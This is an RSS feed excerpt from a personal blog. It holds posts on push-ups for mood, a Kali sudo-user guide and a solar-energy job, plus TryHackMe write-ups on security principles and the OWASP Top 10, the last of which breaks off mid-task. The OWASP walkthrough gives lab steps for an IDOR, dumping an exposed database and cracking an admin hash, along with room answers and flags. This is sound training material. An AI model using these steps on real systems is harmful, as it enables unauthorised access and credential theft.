&lt;p&gt;Metasploit is a powerful framework that aids in the exploitation process, which involves identifying, customizing, and deploying exploits against vulnerable services. Throughout this training, we’ve explored the fundamental components of Metasploit and their applications. A practical example is the use of the &lt;code&gt;ms17_010_eternalblue&lt;/code&gt; exploit to gain access to a target virtual machine. In subsequent sessions, we&apos;ll delve deeper into Metasploit&apos;s features, enhancing your understanding of its capabilities.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No Answer Needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.BWBamsNp.png"/><enclosure url="/_astro/image.BWBamsNp.png"/></item><item><title>Simply Transform Negative Thoughts into Hundreds of Push-ups</title><link>https://farros.co/blog/simply-transform-negative-thoughts-into-hundreds-of-push-ups/</link><guid isPermaLink="true">https://farros.co/blog/simply-transform-negative-thoughts-into-hundreds-of-push-ups/</guid><description>How to Simply Transform Your Negative Thoughts into Hundreds of Push-ups | Farros.</description><pubDate>Wed, 30 Apr 2025 03:01:34 GMT</pubDate><content:encoded>&lt;p&gt;Here, I want to share my daily solution for managing stress and other negative thoughts, such as sadness, boredom, and more. Furthermore, it can help build your muscles and self-discipline for free.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Before you read further, I want to explain that I am not an expert in psychology, health, or related fields. This is just my personal solution, so it may be very relative to each person. Even though I believe this works, I could be wrong.&lt;/p&gt;
&lt;p&gt;Actually, this method is somewhat inspired by various online communities focused on controlling lust and self-discipline. I’ve come across discussions where individuals suggest that when certain urges arise, one can counter them by engaging in a brief physical activity, such as doing 25 push-ups. Initially, I found this approach a bit awkward, especially considering how it might feel to do push-ups in a public setting. However, I now understand the underlying principle. Let me explain this further.&lt;/p&gt;
&lt;h2&gt;Transforming Thoughts into Action&lt;/h2&gt;
&lt;p&gt;Rather than falling deeper into overthinking my negative thoughts, it’s better for me to search for a solution, even if it may be just temporary. I feel better when I try to do 10 push-ups at a time. If I don’t feel enough, I do 10 more push-ups, and so on. I might stop when I feel tired, but I often feel better than before.&lt;/p&gt;
&lt;h2&gt;The Science Behind It&lt;/h2&gt;
&lt;p&gt;Some of the studies I have &lt;a href=&quot;https://en.wikipedia.org/wiki/Neurobiological_effects_of_physical_exercise?utm_source=chatgpt.com&quot;&gt;read&lt;/a&gt; suggest that exercise is beneficial because it often releases endorphins, the ‘feel-good’ hormones that improve mood and reduce feelings of stress.&lt;/p&gt;
&lt;h2&gt;How I Implement It and the Data&lt;/h2&gt;
&lt;p&gt;I have implemented this method into my daily routine, and I also track it in my mobile app, Loop Habit Tracker. You can download it for free from the Play Store or App Store. Sorry, I’m not endorsing it. Here is the chart that I try to record every day.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*ldDzQBjzSwui2FDP514ZgQ.jpeg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Push Ups / Dips in Loop Habbit Tracker&lt;/p&gt;
&lt;p&gt;Sometimes i really don’t realize it. For example, if I am feel sad then I will do 10 push ups. But, in the end of the day i was actually surprised because of what! i do 350 push ups which is maybe ini this day i feel sad 35x (because of 10x35=350). Maybe this is the part of complexity, yes sadness is still complex i think.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Thank you so much for reading!&lt;/strong&gt;&lt;br&gt;
Your time and attention mean the world to me. If you enjoyed this article, let’s stay connected and continue the conversation. You can find me on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/in/farrosfr&quot;&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.instagram.com/farrosfr&quot;&gt;Instagram&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://x.com/farrosfr_&quot;&gt;X (formerly Twitter)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.threads.net/farrosfr&quot;&gt;Threads&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Feel free to reach out — I’d love to hear your thoughts and ideas. Until next time, stay curious and keep exploring!&lt;/p&gt;</content:encoded><h:img src="/_astro/image.DTHO6aok.png"/><enclosure url="/_astro/image.DTHO6aok.png"/></item><item><title>Principles of Security | TryHackMe Write-Up</title><link>https://farros.co/blog/principles-of-security-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/principles-of-security-tryhackme-write-up/</guid><description>Principles of Security | TryHackMe | Write-Up by Farros.</description><pubDate>Tue, 29 Apr 2025 05:20:19 GMT</pubDate><content:encoded>&lt;p&gt;Here is my article on the walkthrough room for &lt;a href=&quot;https://tryhackme.com/room/principlesofsecurity&quot;&gt;TryHackMe: Principles of Security&lt;/a&gt;, I wrote this in 2025 and hope it is useful for learning about principle of security.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This room is about outline some of the fundamental principles of information security.&lt;/p&gt;
&lt;p&gt;Let’s proceed!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: The CIA Triad&lt;/h2&gt;
&lt;p&gt;The CIA triad is a fundamental information security model comprising Confidentiality, Integrity, and Availability. It guides the creation of security policies to ensure that sensitive data is protected, remains accurate, and is accessible to authorized users.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidentiality&lt;/strong&gt; ensures that sensitive data is protected from unauthorized access or misuse by implementing access controls and classification systems.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Integrity&lt;/strong&gt; maintains data accuracy and consistency, preventing unauthorized or accidental modifications through methods like access restrictions, digital signatures, and hash verifications.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Availability&lt;/strong&gt; ensures data and systems are accessible to authorized users when needed by using reliable hardware, backups, and robust security protocols to minimize downtime.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each component is interdependent; failing to meet one can undermine the entire security framework. The CIA triad provides a continuous cycle for evaluating and prioritizing data protection needs in various contexts, from cybersecurity to physical record storage.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1:&lt;/strong&gt; What element of the CIA triad ensures that data cannot be altered by &lt;strong&gt;unauthorised&lt;/strong&gt; people?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;integrity&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2:&lt;/strong&gt; What element of the CIA triad ensures that data is available?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;availability&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3:&lt;/strong&gt; What element of the CIA triad ensures that data is only accessed by &lt;strong&gt;authorised&lt;/strong&gt; people?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;confidentiality&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Principles of Privileges&lt;/h2&gt;
&lt;p&gt;Properly defining and managing access levels in IT systems is crucial. Access is based on a user’s organizational role and the sensitivity of the data involved. Two main concepts manage this process: &lt;strong&gt;Privileged Identity Management (PIM)&lt;/strong&gt;, which aligns user roles with system access, and &lt;strong&gt;Privileged Access Management (PAM)&lt;/strong&gt;, which oversees the permissions those roles carry.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;principle of least privilege&lt;/strong&gt; is essential — users should only have the minimal access needed for their tasks. PAM also includes enforcing password policies, auditing, and lowering risk by minimizing unnecessary privileges.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1:&lt;/strong&gt; What does the acronym “PIM” stand for?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Privileged Identity Management&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2:&lt;/strong&gt; What does the acronym “PAM” stand for?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Privileged Access Management&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3:&lt;/strong&gt; If you wanted to manage the privileges a system access role had, what methodology would you use?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PAM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q4:&lt;/strong&gt; If you wanted to create a system role that is based on a users role/responsibilities with an organisation, what methodology is this?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PIM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Security Models Continued&lt;/h2&gt;
&lt;p&gt;Security models help organizations formally achieve the CIA triad — &lt;strong&gt;Confidentiality, Integrity, and Availability&lt;/strong&gt; — by providing structured methods to control access to information systems.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bell-La Padula Model&lt;/strong&gt; focuses on &lt;strong&gt;confidentiality&lt;/strong&gt; using hierarchy-based policies. It applies rules like “no write down, no read up,” suitable for hierarchical organizations (e.g., military or government) where trusted, vetted users operate. While easy to implement and mirroring real-life org charts, it assumes users are trustworthy and doesn’t fully conceal the existence of information.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Biba Model&lt;/strong&gt; targets &lt;strong&gt;integrity&lt;/strong&gt; with the principle of “no write up, no read down.” This means users can only write at or below their level and read above it, ensuring data accuracy over secrecy. While simple and effective for integrity, it may create operational inefficiencies and complicate access control in environments with many roles.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;: Bell-La Padula protects sensitive information in hierarchical setups, while Biba safeguards data accuracy where integrity is crucial, such as in software development. Each model has strengths and limitations, often tailored to the specific security priorities of an organization.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What is the name of the model that uses the rule “&lt;strong&gt;can’t&lt;/strong&gt; read up, &lt;strong&gt;can&lt;/strong&gt; read down”?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Bell-LaPadula Model&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: What is the name of the model that uses the rule “&lt;strong&gt;can&lt;/strong&gt; read up, &lt;strong&gt;can’t&lt;/strong&gt; read down”?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Biba Model&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3&lt;/strong&gt;: If you were a military, what security model would you use?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Bell-LaPadula Model&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q4&lt;/strong&gt;: If you were a software developer, what security model would the company perhaps use?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Biba Model&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Threat Modelling &amp;#x26; Incident Response&lt;/h2&gt;
&lt;p&gt;Threat modeling is a continuous process for assessing and improving an organization’s IT security by identifying potential threats, vulnerabilities, and assessing risks. It involves preparation, identifying threats, implementing mitigations, and regular review. Frameworks like &lt;strong&gt;STRIDE&lt;/strong&gt; help categorize threats (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege), guiding security improvements.&lt;/p&gt;
&lt;p&gt;When security breaches (incidents) occur, a Computer Security Incident Response Team (CSIRT) manages the response through six phases: preparation, identification, containment, eradication, recovery, and lessons learned, aiming to restore operations and prevent future incidents.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1&lt;/strong&gt;: What model outlines “Spoofing”?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;STRIDE&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2&lt;/strong&gt;: What does the acronym “IR” stand for?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Incident Response&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3&lt;/strong&gt;: You are tasked with adding some measures to an application to improve the integrity of data, what STRIDE principle is this?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tampering&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q4&lt;/strong&gt;: An attacker has penetrated your organisation’s security and stolen data. It is your task to return the organisation to business as usual. What incident response stage is this?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Recovery&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.C1ERl9ne.png"/><enclosure url="/_astro/image.C1ERl9ne.png"/></item><item><title>Simply Add New User to Kali Linux and Grant Sudo Privileges</title><link>https://farros.co/blog/simply-add-a-new-user-to-kali-linux-and-grant-sudo-privileges/</link><guid isPermaLink="true">https://farros.co/blog/simply-add-a-new-user-to-kali-linux-and-grant-sudo-privileges/</guid><description>How to Simply Add a New User to Kali Linux and Grant Sudo Privileges | Farros.</description><pubDate>Thu, 17 Apr 2025 08:38:02 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;p&gt;I want to share some basic Linux commands to add a new user via the command line. But first, we need to log in to the default user, and then you can follow these steps.&lt;/p&gt;
&lt;h2&gt;1. Open the Terminal&lt;/h2&gt;
&lt;p&gt;You can press &lt;code&gt;Ctrl + Alt + T&lt;/code&gt; to launch the terminal.&lt;/p&gt;
&lt;h2&gt;2. Create a New User&lt;/h2&gt;
&lt;p&gt;sudo useradd -m username&lt;/p&gt;
&lt;p&gt;Replace the username you need to change. The &lt;code&gt;-m&lt;/code&gt; option ensures the creation of a home directory for the user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*-dsr_lDTyGoyWSoRYS1G6A.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;For example, the username I set is ‘farrosfr.’&lt;/p&gt;
&lt;h2&gt;3. Set a Password for the New User&lt;/h2&gt;
&lt;p&gt;sudo passwd username&lt;/p&gt;
&lt;p&gt;Replace the username with the one that has already been created.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*pNl2TlqedF3_hRdASZGWjQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Type the new password for the new user and retype it until you see the message: ‘Password updated successfully’.&lt;/p&gt;
&lt;h2&gt;4. &lt;strong&gt;Grant Sudo Privileges&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;To allow the new user to execute administrative tasks, add them to the &lt;code&gt;sudo&lt;/code&gt; group:&lt;/p&gt;
&lt;p&gt;sudo usermod -aG sudo username&lt;/p&gt;
&lt;p&gt;Don’t forget to replace the username. The &lt;code&gt;-aG&lt;/code&gt; options append the user to the specified group without removing them from other groups.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*BvIlEz28teBul7NoET4y2w.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;h2&gt;5. &lt;strong&gt;Set the Default Shell to Bash&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;sudo chsh -s /bin/bash username&lt;/p&gt;
&lt;p&gt;Replace the username. This command changes the user’s login shell to &lt;code&gt;/bin/bash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*8oMYErwxmJCbQARoHD7kmA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;h2&gt;6. &lt;strong&gt;Verify the New User&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;id username&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*juLvD8G4OjAkpmwmq9lwrg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Explanation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;uid=1001(farrosfr)&lt;/strong&gt;: The user ID (UID) for &lt;code&gt;farrosfr&lt;/code&gt; is 1001.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;gid=1001(farrosfr)&lt;/strong&gt;: The group ID (GID) for &lt;code&gt;farrosfr&lt;/code&gt; is 1001, and it&apos;s associated with the group &lt;code&gt;farrosfr&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;groups=1001(farrosfr),27(sudo)&lt;/strong&gt;: The user &lt;code&gt;farrosfr&lt;/code&gt; belongs to two groups:
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;farrosfr&lt;/code&gt; (group ID 1001)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo&lt;/code&gt; (group ID 27), which allows the user to perform administrative tasks using &lt;code&gt;sudo&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. &lt;strong&gt;Switch to the New User&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;su - username&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*F2Gq41quR5oECeZXryh1EA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can also try logging in on the login panel to verify the new username.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*2WMesGsTg1eit7Ajk78Osg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;I think that’s all. Thanks for reading. I hope this can be useful.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.D2vMWPDS.png"/><enclosure url="/_astro/image.D2vMWPDS.png"/></item><item><title>My Journey in Renewable Energy as an IT Engineer</title><link>https://farros.co/blog/my-journey-in-renewable-energy-as-an-it-engineer/</link><guid isPermaLink="true">https://farros.co/blog/my-journey-in-renewable-energy-as-an-it-engineer/</guid><description>Empowering Growth with SonusHUB: My Journey in Renewable Energy as an IT Engineer.</description><pubDate>Thu, 10 Apr 2025 07:28:08 GMT</pubDate><content:encoded>&lt;p&gt;In this article, I want to write a story about my experience working in a renewable energy company as an IT engineer in my country, Indonesia. Especially, I work in Yogyakarta, a city that attracts many tourists from various countries because it is near the Borobudur Temple, a UNESCO World Heritage Site.&lt;/p&gt;
&lt;p&gt;I work at PT Tripower Solar Nusantara, with the website &lt;a href=&quot;https://solar-nusantara.id&quot;&gt;https://solar-nusantara.id&lt;/a&gt;, which has an e-commerce platform called SonusHUB, available at &lt;a href=&quot;https://sonushub.id&quot;&gt;https://sonushub.id&lt;/a&gt;. My main task is to handle both websites, as Solar Nusantara focuses on projects, while SonusHUB is for the sale of electrical materials, particularly in renewable energy, with a few items related to smart manufacturing materials. SonusHUB is a B2B and B2G platform, so the target clients are electricity shops, industries, government, and institutions.&lt;/p&gt;
&lt;p&gt;Some things I want to share are the values I’ve gained from working at this company. Although it’s a small company, it is growing rapidly. Almost every day, we have meetings filled with a spirit to improve, even though we face many obstacles. We understand that surviving in the renewable energy field is not easy, especially when the government doesn’t provide enough subsidies and we must compete with conventional energy sources like coal and oil, which are still abundant and widely used.&lt;/p&gt;
&lt;p&gt;It has forced me to grow as well, because renewable energy is something I believe in and consider a blessing. We utilize green energy, which is unlimited, like solar panels. We know that solar panels are still a great option, but there are some issues, such as inverter problems, hot spots, PID, weather damage, and dirt accumulation. These issues highlight the need for regular maintenance to ensure optimal performance.&lt;/p&gt;
&lt;p&gt;I think that’s enough for this story; maybe I will continue it later. Thank you for reading, and I’m very open to discussion about renewable energy. For more details or to contact me, you can reach me via my company email: &lt;a href=&quot;mailto:farros.alfatih@solar-nusantara.id&quot;&gt;farros.alfatih@solar-nusantara.id&lt;/a&gt;.&lt;/p&gt;</content:encoded><h:img src="/_astro/image._FmF8SnS.png"/><enclosure url="/_astro/image._FmF8SnS.png"/></item><item><title>OWASP Top 10–2021 | TryHackMe Write-up</title><link>https://farros.co/blog/owasp-top-102021-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/owasp-top-102021-tryhackme-write-up/</guid><description>OWASP Top 10–2021 | TryHackMe | Write-up by Farros.</description><pubDate>Sun, 30 Mar 2025 16:32:56 GMT</pubDate><content:encoded>&lt;p&gt;Here is my article on the walkthrough of free room for &lt;a href=&quot;https://tryhackme.com/room/owasptop102021&quot;&gt;TryHackMe: OWASP TOP 10 - 2021&lt;/a&gt;, which is the final section of the &lt;a href=&quot;https://tryhackme.com/module/web-hacking&quot;&gt;Web Hacking&lt;/a&gt; module.I wrote this in 2025 and hope it is useful for learning about OWASP TOP 10&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;Here is the list of the Top 10 OWASP 2021 vulnerabilities that will be discussed in this write-up. The source can also be checked at the &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top Ten Project page&lt;/a&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Broken Access Control&lt;/li&gt;
&lt;li&gt;Cryptographic Failures&lt;/li&gt;
&lt;li&gt;Injection&lt;/li&gt;
&lt;li&gt;Insecure Design&lt;/li&gt;
&lt;li&gt;Security Misconfiguration&lt;/li&gt;
&lt;li&gt;Vulnerable and Outdated Components&lt;/li&gt;
&lt;li&gt;Identification and Authentication Failures&lt;/li&gt;
&lt;li&gt;Software and Data Integrity Failures&lt;/li&gt;
&lt;li&gt;Security Logging &amp;#x26; Monitoring Failures&lt;/li&gt;
&lt;li&gt;Server-Side Request Forgery (SSRF)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Read the above.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Accessing Machines&lt;/h2&gt;
&lt;p&gt;To access these machines, you need to either:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Connect using OpenVPN&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use an in-browser Linux Machine&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Connect to our network or deploy the AttackBox.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: 1. Broken Access Control&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Read and understand what broken access control is.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Broken Access Control (IDOR Challenge)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Read and understand how IDOR works.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Deploy the machine and go to&lt;/strong&gt; &lt;a href=&quot;http://machine_ip/&quot;&gt;&lt;strong&gt;http://MACHINEIP&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;— Login with the username noot and the password test1234.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*HkL2UpVZpeBHZNNm86tREw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;THM Note Server&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q1: Look at other users’ notes. What is the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Change the noteid from 1 to 0.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*ZmAmlKZckfCBXfuJiwKn3Q.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;THM Flag&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{fivefourthree}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: 2. Cryptographic Failures&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Read the introduction to Cryptographic Failures and deploy the machine.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Cryptographic Failures (Supporting Material 1)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Read and understand the supporting material on SQLite Databases.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Cryptographic Failures (Supporting Material 2)&lt;/h2&gt;
&lt;p&gt;Read the supporting material about cracking hashes.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 8: Cryptographic Failures (Challenge)&lt;/h2&gt;
&lt;p&gt;It’s now time to put what you’ve learnt into practice! For this challenge, connect to the web application at &lt;a href=&quot;http://10.10.157.27:81/&quot;&gt;http://machine-ip:81/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Have a look around the web app. The developer has left themselves a note indicating that there is sensitive data in a specific directory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q1: What is the name of the mentioned directory?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*MDMKT0TJ04A4b4EQq5auFg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Web App&lt;/p&gt;
&lt;p&gt;Go to the login page.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*i6EYLO40IMDwWfhZmB0rlA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Login Page&lt;/p&gt;
&lt;p&gt;We can view the source code on the web by jumping into the developer tools (Ctrl+Shift+I in Mozilla) to inspect the code.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*o3DLOjMx0Pb1u7p7c-B6mg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We found this note from the developer with green-colored text.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/assets&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q2: Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We are going to the path &lt;a href=&quot;https://machine-ip:81/assets&quot;&gt;https://MACHINEIP:81/assets&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*CW6WwPYr41UAOPsvd4AdXA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;webapp.db&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q3: Use the supporting material to access the sensitive data. What is the password hash of the admin user?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Download the database from the website, then type &lt;code&gt;ls -l&lt;/code&gt; in the Downloads directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*XPvoihVcRzjUsmSTzgoVOA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Opens the SQLite command-line interface and connects to the &lt;code&gt;webapp.db&lt;/code&gt; database with &lt;code&gt;sqlite3 webapp.db&lt;/code&gt;. Lists all the tables in the database with &lt;code&gt;.tables&lt;/code&gt; to view the &lt;code&gt;sessions&lt;/code&gt; and &lt;code&gt;users&lt;/code&gt; tables. Then, run &lt;code&gt;PRAGMA table_info(users);&lt;/code&gt; to view the columns. After that, execute the script &lt;code&gt;SELECT username, password FROM users;&lt;/code&gt; to retrieve specific details about the admin&apos;s password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*Un8KDRcPYZMlhrJ-cJ1d4Q.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;6eea9b7ef19179a06954edd0f6c05ceb&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Crack the hash.&lt;br&gt;
&lt;strong&gt;Q4: What is the admin’s plaintext password?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Open the website crackstation.net, then enter the hash and click the ‘Crack Hashes’ button to decrypt the password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*So3Ogqma7SmXb0WrQ0u8xg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://crackstation.net/&quot;&gt;crackstation.net&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;qwertyuiop&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Q5: Log in as the admin. What is the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*Uiqj-2eFxi6KDU41_PkuiA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Login Web&lt;/p&gt;
